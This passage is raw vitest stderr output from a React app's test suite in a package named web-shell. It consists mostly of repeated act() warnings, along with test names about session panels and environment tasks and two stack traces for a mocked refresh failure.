This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > keeps the right-panel action visible and opens a review-only empty state
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > opens the latest reviewable turn from the empty right panel
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > floats environment information in ultrawide mode
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > keeps the environment action visible without dynamic activity
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > keeps the environment action visible for a clean working tree
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > shows the environment action for a background task in the transcript
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > opens an environment monitor in the right panel
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > opens an environment shell task in the right panel
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > closes environment information when the active session changes
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > closes environment information when the active session changes
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > opens an out-of-band fork task in the right panel
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > updates the header when session metadata supplies a generated title
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > refreshes the generated title after the first turn completes
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > rejects when the daemon does not confirm persistent registration
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > rejects when the daemon does not confirm persistent registration
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > surfaces an inline error when an added folder cannot refresh capabilities
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > surfaces an inline error when an added folder cannot refresh capabilities
[web-shell] refresh failed Error: refresh failed
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:5667:7
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > surfaces an inline error when an added folder cannot refresh capabilities
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > retries only capability refresh after a committed scratch cannot reconcile
[web-shell] refresh failed Error: refresh failed
at [90m/build/qwen-code/src/qwen-code/packages/web-shell/[39mclient/App.test.tsx:5708:30
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:155:11
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:752:26
at file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1897:20
at new Promise ()
at runWithTimeout (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1863:10)
at runTest (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1574:12)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runSuite (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1729:8)
at runFiles (file:///build/qwen-code/src/qwen-code/node_modules/[4m@vitest/runner[24m/dist/chunk-hooks.js:1787:3)
stderr | App.test.tsx > App session callbacks > keeps composer git status stable across an equivalent refresh
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to App inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
stderr | App.test.tsx > App session callbacks > keeps composer git status stable across an equivalent refresh
An update to Popper inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
/* assert on the output */
This ensures that you're testing the behavior the user would see in the browser. Learn more at https://react.dev/link/wrap-tests-with-act
An update to Presence inside a test was not wrapped in act(...).
When testing, code that causes React state updates should be wrapped into act(...):
act(() => {
/* fire events that update state */
});
